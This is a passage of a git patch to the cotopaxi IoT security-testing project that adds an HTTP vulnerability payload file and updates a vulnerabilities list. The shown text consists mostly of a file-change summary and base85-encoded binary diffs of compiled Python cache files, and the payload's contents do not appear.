From 7515e7073154c9a573e47768dff4ba5dc07d28bb Mon Sep 17 00:00:00 2001 From: npranav7619 Date: Thu, 18 Jan 2024 15:05:51 +0530 Subject: [PATCH 1/4] Added payload_d3d_000_request.raw payload and changes to vulnerability.yaml --- cotopaxi/__pycache__/__init__.cpython-311.pyc | Bin 0 -> 673 bytes .../amplifier_detector.cpython-311.pyc | Bin 0 -> 8600 bytes cotopaxi/__pycache__/amqp_utils.cpython-311.pyc | Bin 0 -> 3331 bytes cotopaxi/__pycache__/coap_utils.cpython-311.pyc | Bin 0 -> 12064 bytes .../__pycache__/common_utils.cpython-311.pyc | Bin 0 -> 17906 bytes .../__pycache__/cotopaxi_tester.cpython-311.pyc | Bin 0 -> 35889 bytes .../device_identification.cpython-311.pyc | Bin 0 -> 20928 bytes cotopaxi/__pycache__/dtls_utils.cpython-311.pyc | Bin 0 -> 36295 bytes .../grpc_test_stub_pb2.cpython-311.pyc | Bin 0 -> 4463 bytes cotopaxi/__pycache__/grpc_utils.cpython-311.pyc | Bin 0 -> 3739 bytes .../__pycache__/htcpcp_utils.cpython-311.pyc | Bin 0 -> 2955 bytes .../__pycache__/http2_utils.cpython-311.pyc | Bin 0 -> 4398 bytes cotopaxi/__pycache__/http_utils.cpython-311.pyc | Bin 0 -> 4086 bytes cotopaxi/__pycache__/knx_utils.cpython-311.pyc | Bin 0 -> 3846 bytes cotopaxi/__pycache__/mdns_utils.cpython-311.pyc | Bin 0 -> 12173 bytes cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc | Bin 0 -> 4437 bytes .../__pycache__/mqttsn_utils.cpython-311.pyc | Bin 0 -> 4408 bytes .../__pycache__/protocol_tester.cpython-311.pyc | Bin 0 -> 7842 bytes cotopaxi/__pycache__/quic_utils.cpython-311.pyc | Bin 0 -> 8558 bytes cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc | Bin 0 -> 4102 bytes cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc | Bin 0 -> 2952 bytes .../traffic_analyzer.cpython-311.pyc | Bin 0 -> 12176 bytes cotopaxi/active_scanner.py | 2 +- cotopaxi/cotopaxi_tester.py | 2 +- cotopaxi/device_identification.py | 2 +- cotopaxi/dtls_utils.py | 1 - cotopaxi/grpc_test_stub_pb2_grpc.py | 1 + cotopaxi/resource_listing.py | 2 +- cotopaxi/traffic_analyzer.py | 2 +- .../http/payload_d3d_000_request.raw | 2 ++ cotopaxi/vulnerabilities/vulnerabilities.yaml | 7 +++++++ tests/__pycache__/__init__.cpython-311.pyc | Bin 0 -> 192 bytes tests/__pycache__/common_runner.cpython-311.pyc | Bin 0 -> 3999 bytes .../test_active_scanner.cpython-311.pyc | Bin 0 -> 5673 bytes .../test_amplifier_detector.cpython-311.pyc | Bin 0 -> 4394 bytes .../__pycache__/test_amqp_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../test_client_proto_fuzzer.cpython-311.pyc | Bin 0 -> 2569 bytes .../test_client_vuln_tester.cpython-311.pyc | Bin 0 -> 2516 bytes .../__pycache__/test_coap_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../test_common_utils.cpython-311.pyc | Bin 0 -> 3399 bytes .../test_cotopaxi_tester.cpython-311.pyc | Bin 0 -> 4824 bytes .../test_device_identification.cpython-311.pyc | Bin 0 -> 4643 bytes .../__pycache__/test_dtls_utils.cpython-311.pyc | Bin 0 -> 2614 bytes .../__pycache__/test_ftp_utils.cpython-311.pyc | Bin 0 -> 493 bytes .../__pycache__/test_grpc_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../test_htcpcp_utils.cpython-311.pyc | Bin 0 -> 1186 bytes .../test_http2_utils.cpython-311.pyc | Bin 0 -> 1180 bytes .../__pycache__/test_http_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../__pycache__/test_knx_utils.cpython-311.pyc | Bin 0 -> 1168 bytes .../__pycache__/test_mdns_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../__pycache__/test_mqtt_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../test_mqttsn_utils.cpython-311.pyc | Bin 0 -> 1183 bytes .../test_protocol_fuzzer.cpython-311.pyc | Bin 0 -> 8403 bytes .../test_protocol_tester.cpython-311.pyc | Bin 0 -> 5068 bytes .../__pycache__/test_quic_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../test_resource_listing.cpython-311.pyc | Bin 0 -> 11350 bytes .../__pycache__/test_rtsp_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../test_server_fingerprinter.cpython-311.pyc | Bin 0 -> 6933 bytes .../test_service_ping.cpython-311.pyc | Bin 0 -> 6636 bytes .../__pycache__/test_ssdp_utils.cpython-311.pyc | Bin 0 -> 1174 bytes .../test_traffic_analyzer.cpython-311.pyc | Bin 0 -> 6428 bytes .../test_vulnerability_tester.cpython-311.pyc | Bin 0 -> 14842 bytes tests/test_amplifier_detector.py | 1 - tests/test_cotopaxi_tester.py | 1 - tests/test_protocol_fuzzer.py | 1 + tests/test_traffic_analyzer.py | 6 +++++- 66 files changed, 21 insertions(+), 9 deletions(-) create mode 100644 cotopaxi/__pycache__/__init__.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/amqp_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/coap_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/common_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/cotopaxi_tester.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/device_identification.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/dtls_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/grpc_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/http2_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/http_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/knx_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/mdns_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/mqttsn_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/protocol_tester.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/quic_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc create mode 100644 cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc create mode 100644 cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw create mode 100644 tests/__pycache__/__init__.cpython-311.pyc create mode 100644 tests/__pycache__/common_runner.cpython-311.pyc create mode 100644 tests/__pycache__/test_active_scanner.cpython-311.pyc create mode 100644 tests/__pycache__/test_amplifier_detector.cpython-311.pyc create mode 100644 tests/__pycache__/test_amqp_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_client_proto_fuzzer.cpython-311.pyc create mode 100644 tests/__pycache__/test_client_vuln_tester.cpython-311.pyc create mode 100644 tests/__pycache__/test_coap_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_common_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_cotopaxi_tester.cpython-311.pyc create mode 100644 tests/__pycache__/test_device_identification.cpython-311.pyc create mode 100644 tests/__pycache__/test_dtls_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_ftp_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_grpc_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_htcpcp_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_http2_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_http_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_knx_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_mdns_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_mqtt_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_mqttsn_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_protocol_fuzzer.cpython-311.pyc create mode 100644 tests/__pycache__/test_protocol_tester.cpython-311.pyc create mode 100644 tests/__pycache__/test_quic_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_resource_listing.cpython-311.pyc create mode 100644 tests/__pycache__/test_rtsp_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_server_fingerprinter.cpython-311.pyc create mode 100644 tests/__pycache__/test_service_ping.cpython-311.pyc create mode 100644 tests/__pycache__/test_ssdp_utils.cpython-311.pyc create mode 100644 tests/__pycache__/test_traffic_analyzer.cpython-311.pyc create mode 100644 tests/__pycache__/test_vulnerability_tester.cpython-311.pyc diff --git a/cotopaxi/__pycache__/__init__.cpython-311.pyc b/cotopaxi/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2b576421488d7c7f6fc25679becc64e1cd0a5b5c GIT binary patch literal 673 zcmb7B&ubGw7=5#8x=Bj37DWUlX#{C#$%+R9p?E2=2uWLF=^>XPWG9;~o1L(`skWya zym|5F)ssf-AG2E)S_TBsleb83Jvp0nHSy;AX6Ad}k9mBEaXjBo@Q>cYeEt9R z^dwUb<-4ZP7dIu*)wx`1l2cxym_E5zZ<%(!$Mu25@*VEvx46gqt=DGhXQZ%ml6Bjy z{&C3}*q+&ABI7aJtxNDIEN%6jh;8 zs`ECbLbbSIn6@Dl?uxX*yqb)eBT}xU?1)(+S#30S8$xCFk?C;zGcKc%uAXXL-ea20 z_@Lc2yDiNyJ=Ys_I$HaB_P>Nu(>6UyOa0@k)aLY=&zu!06MdQcRvzO7A>@aBL*-4zUs{z)7jaMs@X((uXIakk8*dn)o&W#< literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc b/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..429f5e4d01ee8ff2a637d364edffeedf65e2b404 GIT binary patch literal 8600 zcmb_BTWlLwb~BveLwso@Q5Gdj@>r53QIaV?V#Sud$tsfHw(M9+iZI!2+`q2+kn8L&WLIo6Qu|Pj)#089? zA3f&|XZVnv-H*K-p1IF+&)j?NdEMXmd~ODkXXl~(fBPBcKe1pYdnNPje?jIRBQX(1 zVkKLWjj;4>i`eL!i*WGfl6=Y@v8NmnN6Hy-vW&z__M|J-6lqGiBW_xDBt0o_#GCR( zd?|m#pK6XYr-X=*YKgSac4x9R)fQ<>1tI~Kk=x|JqAk*HW6m>@>wQLQlJ`B}80Ith z8!6Hux!-3ZLCFKKQ|^+yw`|x#x@?TxDchFei;M)c*nV#7G>gmw7VyB|NHDi;j{ZZw z+|l_=CMhmth$zXb99I*Ww3t~C)3W+bhTIZW5?feE#6==6B%w7!l<@Bn%WR0#Z5OZW z+#563b-R*IEG+yUCkWZ}KrEF_CSXtukwq6`I865{aT3c$v$6OsSq(Y#))-mL#)u-5 zXiSo#lB}pOvaT+@lDa7qy}iD6RVFtximbciOLF{HG#<+;deF$HVY;-u2=lJW(S>9t zrs{4wM>LxuDv;JbGdmZZn~7e18ZK-=*8=AzV!U+iMX*^2DF&thfu!9$P6$A zgA5Vj=!V%~!#J65*f6`q!&W&YJ3y!80O*pOb4E}@ncMm8z#fVupeDjg96*Z#nAP#!{>E9ub1JNsq9)=>E(ZxkJ-Lj;XRJr?Tp8vGIGv%*|zB(=fpaazk&2e_7iPB9)+WaZ#2@T1S*OeLBC9wNHmEM`_zEH|5FXjT$ASr^O->_BVUjhZNt z;~64FjfrmSt@YKw=*f5quAp2Cw0}zd)aFVJs83whaonO_TwC2bp_J-bTjr%)9I| zl#C>?IUkI%RoQ~JTWq0P8_h6zwq9UWMp}JQe9_Ss1r~OzhPGR*^haQ~`Xcra_g&9) zW+knPxV2TbmqcSX!^8ofH5;;%eefnh06LeH)1(87D0o90>A_luF+lf931AE=5ff&F??g!m6ofua=-Y}Fg&`wL>jpGo z;0x~IxlcWxdy2yGf`AnO;n~G8{hH9f^^>A7Y-H(}Lz-~ti?)Yve!Bnj{YBxWf`AnO z;UOYS8@E;r3QqXb{r@dwVE?�kCE59W+}h&(-gJ? zNW9R{SQ%*anH1lfJQ6;(uy!cdG=EK;pSp4W?0n91?#8vNX5sqbKXLkwbpva5!H4S( zQ0=LhN?cgrmotepK{ElGDSLVrNG26kLB-0d-lS&CtOo^+sk?a;S_ℜ8~Mv+gIo+ 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 WuIoFVV!z|{`i zmdY_S5al!!X@)1}PDyE{f&`Bv!B`1-4Z$@8)F49DLRo>DS5z~tHds#Ixy~2?;a5lo zdZTTkybTbRj%9b5mkZ3xHHV%+QWS7JQt^ta0l6kh!7GG_|Ud&)K^YlCR; zp9}~LdzLLQGkc%i_L0KaR3Y$MfoUl_k}M0R+wJ!@Xw6^`nTr&%{paljx*^V+} xfs+jH-N{eqX_S${fRYK|iWx{~s^$tB?Qy literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc b/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..20b9dd7c5146de34844ccf732a8bd426325b1edc GIT binary patch literal 3331 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 literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/common_utils.cpython-311.pyc b/cotopaxi/__pycache__/common_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b3d928fefd5a44d3c02570551772d69bc69d5632 GIT binary patch literal 17906 zcmd^mYj7J^mR{ox5C92)FNqXM@F9vIDN@wSrl=RqheU}YDU$NonDrtM8k8V|0NrRx z7EO9-$D5&DN`~IpWqV30b5gb=$97iPyk+v)-VW#jSDQY2mV&R`ZYtagWrMo zPJR!+6K{L@8oYHGxlk znh^a1NijJWelg}3lgW6h>ps;x7BI->p~U=bz%H8x$EIZC$b@W~9ssy7I3b%yCaxZq zO_SkkvMD9>$d*(B=upOadU|?dGWx=NG$j&>fn@&#o|e=5r=l-V!nyO)(|DE)PLEDa zMk7gq$D0W+c-W^zA(pr_G9L5n;kbpe{Reux_8&Tw``;Jie#LRIzxz9myFY;@-tPoh 